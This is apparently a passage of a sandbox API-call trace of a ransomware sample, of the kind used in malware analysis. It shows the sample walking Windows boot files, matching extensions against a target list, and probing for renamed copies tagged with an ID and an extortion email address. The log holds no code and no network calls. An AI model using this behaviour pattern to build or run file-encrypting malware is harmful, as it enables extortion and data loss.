	[0205.611] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.611] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=0) returned 1
	[0205.611] CloseHandle (hObject=0x340) returned 1
	[0205.611] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.611] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.611] lstrlenW (lpString=".doc") returned 4
	[0205.611] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0205.611] lstrlenW (lpString=".docx") returned 5
	[0205.612] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0205.612] lstrlenW (lpString=".pdf") returned 4
	[0205.612] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString=".xls") returned 4
	[0205.612] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString=".xlsx") returned 5
	[0205.612] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0205.612] lstrlenW (lpString=".ppt") returned 4
	[0205.612] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.612] lstrlenW (lpString=".zip") returned 4
	[0205.612] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString=".rar") returned 4
	[0205.612] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString=".bz2") returned 4
	[0205.612] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString=".7z") returned 3
	[0205.612] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0205.612] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.612] lstrlenW (lpString=".dbf") returned 4
	[0205.612] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.612] lstrlenW (lpString=".1cd") returned 4
	[0205.612] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.612] lstrlenW (lpString=".jpg") returned 4
	[0205.612] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.612] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.612] lstrlenW (lpString=".doc") returned 4
	[0205.612] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0205.612] lstrlenW (lpString=".docx") returned 5
	[0205.612] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0205.613] lstrlenW (lpString=".pdf") returned 4
	[0205.613] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0205.613] lstrlenW (lpString=".xls") returned 4
	[0205.613] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0205.613] lstrlenW (lpString=".xlsx") returned 5
	[0205.613] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0205.613] lstrlenW (lpString=".ppt") returned 4
	[0205.613] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0205.613] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.613] lstrlenW (lpString=".zip") returned 4
	[0205.613] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0205.613] lstrlenW (lpString=".rar") returned 4
	[0205.613] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0205.613] lstrlenW (lpString=".bz2") returned 4
	[0205.613] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0205.613] lstrlenW (lpString=".7z") returned 3
	[0205.613] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0205.613] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.613] lstrlenW (lpString=".dbf") returned 4
	[0205.613] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0205.613] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.613] lstrlenW (lpString=".1cd") returned 4
	[0205.613] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0205.613] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0205.613] lstrlenW (lpString=".jpg") returned 4
	[0205.613] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0205.613] lstrcmpiW (lpString1=".LOG2", lpString2=".html") returned 1
	[0205.613] lstrlenW (lpString="BCD.LOG2") returned 8
	[0205.613] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.614] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=0) returned 1
	[0205.614] CloseHandle (hObject=0x340) returned 1
	[0205.614] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.614] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.614] lstrlenW (lpString=".doc") returned 4
	[0205.614] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0205.614] lstrlenW (lpString=".docx") returned 5
	[0205.614] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0205.614] lstrlenW (lpString=".pdf") returned 4
	[0205.614] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0205.614] lstrlenW (lpString=".xls") returned 4
	[0205.614] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0205.614] lstrlenW (lpString=".xlsx") returned 5
	[0205.614] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0205.614] lstrlenW (lpString=".ppt") returned 4
	[0205.614] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0205.614] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.614] lstrlenW (lpString=".zip") returned 4
	[0205.614] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0205.614] lstrlenW (lpString=".rar") returned 4
	[0205.615] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString=".bz2") returned 4
	[0205.615] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString=".7z") returned 3
	[0205.615] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0205.615] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.615] lstrlenW (lpString=".dbf") returned 4
	[0205.615] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.615] lstrlenW (lpString=".1cd") returned 4
	[0205.615] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.615] lstrlenW (lpString=".jpg") returned 4
	[0205.615] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.615] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.615] lstrlenW (lpString=".doc") returned 4
	[0205.615] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString=".docx") returned 5
	[0205.615] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0205.615] lstrlenW (lpString=".pdf") returned 4
	[0205.615] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString=".xls") returned 4
	[0205.615] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString=".xlsx") returned 5
	[0205.615] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0205.615] lstrlenW (lpString=".ppt") returned 4
	[0205.615] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.615] lstrlenW (lpString=".zip") returned 4
	[0205.615] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0205.615] lstrlenW (lpString=".rar") returned 4
	[0205.615] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0205.616] lstrlenW (lpString=".bz2") returned 4
	[0205.616] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0205.616] lstrlenW (lpString=".7z") returned 3
	[0205.616] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0205.616] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.616] lstrlenW (lpString=".dbf") returned 4
	[0205.616] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0205.616] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.616] lstrlenW (lpString=".1cd") returned 4
	[0205.616] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0205.616] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0205.616] lstrlenW (lpString=".jpg") returned 4
	[0205.616] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0205.616] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0205.616] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0205.616] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.616] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=77664) returned 1
	[0205.616] CloseHandle (hObject=0x340) returned 1
	[0205.617] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0205.617] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.617] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.617] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.617] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.617] lstrlenW (lpString=".doc") returned 4
	[0205.617] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0205.617] lstrlenW (lpString=".docx") returned 5
	[0205.617] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0205.617] lstrlenW (lpString=".pdf") returned 4
	[0205.617] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0205.617] lstrlenW (lpString=".xls") returned 4
	[0205.617] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0205.617] lstrlenW (lpString=".xlsx") returned 5
	[0205.617] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0205.617] lstrlenW (lpString=".ppt") returned 4
	[0205.617] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0205.617] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.617] lstrlenW (lpString=".zip") returned 4
	[0205.617] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0205.617] lstrlenW (lpString=".rar") returned 4
	[0205.617] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0205.617] lstrlenW (lpString=".bz2") returned 4
	[0205.617] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0205.617] lstrlenW (lpString=".7z") returned 3
	[0205.617] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0205.618] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.618] lstrlenW (lpString=".dbf") returned 4
	[0205.618] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0205.618] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.618] lstrlenW (lpString=".1cd") returned 4
	[0205.618] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0205.618] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.618] lstrlenW (lpString=".jpg") returned 4
	[0205.618] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0205.618] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.618] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.618] lstrlenW (lpString=".doc") returned 4
	[0205.618] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0205.618] lstrlenW (lpString=".docx") returned 5
	[0205.618] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0205.618] lstrlenW (lpString=".pdf") returned 4
	[0205.618] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0205.618] lstrlenW (lpString=".xls") returned 4
	[0205.618] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0205.618] lstrlenW (lpString=".xlsx") returned 5
	[0205.618] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0205.618] lstrlenW (lpString=".ppt") returned 4
	[0205.618] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0205.618] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.618] lstrlenW (lpString=".zip") returned 4
	[0205.618] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0205.618] lstrlenW (lpString=".rar") returned 4
	[0205.618] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0205.618] lstrlenW (lpString=".bz2") returned 4
	[0205.618] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0205.618] lstrlenW (lpString=".7z") returned 3
	[0205.618] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0205.618] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.619] lstrlenW (lpString=".dbf") returned 4
	[0205.619] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0205.619] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.619] lstrlenW (lpString=".1cd") returned 4
	[0205.619] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0205.619] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0205.619] lstrlenW (lpString=".jpg") returned 4
	[0205.619] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0205.619] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0205.619] lstrlenW (lpString="bootspaces.dll") returned 14
	[0205.619] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.619] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=95648) returned 1
	[0205.619] CloseHandle (hObject=0x340) returned 1
	[0205.619] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0205.620] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.620] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.620] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.620] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.620] lstrlenW (lpString=".doc") returned 4
	[0205.620] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.620] lstrlenW (lpString=".docx") returned 5
	[0205.620] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0205.620] lstrlenW (lpString=".pdf") returned 4
	[0205.620] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.620] lstrlenW (lpString=".xls") returned 4
	[0205.620] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.620] lstrlenW (lpString=".xlsx") returned 5
	[0205.620] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0205.620] lstrlenW (lpString=".ppt") returned 4
	[0205.620] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.620] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.620] lstrlenW (lpString=".zip") returned 4
	[0205.620] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.620] lstrlenW (lpString=".rar") returned 4
	[0205.620] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.620] lstrlenW (lpString=".bz2") returned 4
	[0205.620] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.620] lstrlenW (lpString=".7z") returned 3
	[0205.620] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.620] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.620] lstrlenW (lpString=".dbf") returned 4
	[0205.620] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.620] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.620] lstrlenW (lpString=".1cd") returned 4
	[0205.620] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.621] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.621] lstrlenW (lpString=".jpg") returned 4
	[0205.621] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.621] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.621] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.621] lstrlenW (lpString=".doc") returned 4
	[0205.621] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.621] lstrlenW (lpString=".docx") returned 5
	[0205.621] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0205.621] lstrlenW (lpString=".pdf") returned 4
	[0205.621] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.621] lstrlenW (lpString=".xls") returned 4
	[0205.621] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.621] lstrlenW (lpString=".xlsx") returned 5
	[0205.621] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0205.621] lstrlenW (lpString=".ppt") returned 4
	[0205.621] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.621] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.621] lstrlenW (lpString=".zip") returned 4
	[0205.621] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.621] lstrlenW (lpString=".rar") returned 4
	[0205.621] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.621] lstrlenW (lpString=".bz2") returned 4
	[0205.621] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.621] lstrlenW (lpString=".7z") returned 3
	[0205.621] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.621] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.621] lstrlenW (lpString=".dbf") returned 4
	[0205.621] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.621] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.621] lstrlenW (lpString=".1cd") returned 4
	[0205.621] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.622] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0205.622] lstrlenW (lpString=".jpg") returned 4
	[0205.622] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.622] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0205.622] lstrlenW (lpString="bootvhd.dll") returned 11
	[0205.622] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.622] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=99744) returned 1
	[0205.622] CloseHandle (hObject=0x340) returned 1
	[0205.622] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0205.622] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.622] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.622] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.622] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.623] lstrlenW (lpString=".doc") returned 4
	[0205.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.623] lstrlenW (lpString=".docx") returned 5
	[0205.623] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0205.623] lstrlenW (lpString=".pdf") returned 4
	[0205.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.623] lstrlenW (lpString=".xls") returned 4
	[0205.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.623] lstrlenW (lpString=".xlsx") returned 5
	[0205.623] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0205.623] lstrlenW (lpString=".ppt") returned 4
	[0205.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.623] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.623] lstrlenW (lpString=".zip") returned 4
	[0205.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.623] lstrlenW (lpString=".rar") returned 4
	[0205.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.623] lstrlenW (lpString=".bz2") returned 4
	[0205.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.623] lstrlenW (lpString=".7z") returned 3
	[0205.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.623] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.623] lstrlenW (lpString=".dbf") returned 4
	[0205.623] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.623] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.624] lstrlenW (lpString=".1cd") returned 4
	[0205.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.624] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.624] lstrlenW (lpString=".jpg") returned 4
	[0205.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.624] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.624] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.624] lstrlenW (lpString=".doc") returned 4
	[0205.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.624] lstrlenW (lpString=".docx") returned 5
	[0205.624] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0205.624] lstrlenW (lpString=".pdf") returned 4
	[0205.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.624] lstrlenW (lpString=".xls") returned 4
	[0205.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.624] lstrlenW (lpString=".xlsx") returned 5
	[0205.624] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0205.624] lstrlenW (lpString=".ppt") returned 4
	[0205.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.624] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.624] lstrlenW (lpString=".zip") returned 4
	[0205.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.624] lstrlenW (lpString=".rar") returned 4
	[0205.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.624] lstrlenW (lpString=".bz2") returned 4
	[0205.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.624] lstrlenW (lpString=".7z") returned 3
	[0205.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.624] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.624] lstrlenW (lpString=".dbf") returned 4
	[0205.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.624] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.624] lstrlenW (lpString=".1cd") returned 4
	[0205.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.625] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0205.625] lstrlenW (lpString=".jpg") returned 4
	[0205.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.625] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0205.625] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0205.625] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.625] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=76632) returned 1
	[0205.625] CloseHandle (hObject=0x340) returned 1
	[0205.625] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0205.625] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.625] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.625] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0205.625] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0205.625] lstrlenW (lpString=".doc") returned 4
	[0205.626] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0205.626] lstrlenW (lpString=".docx") returned 5
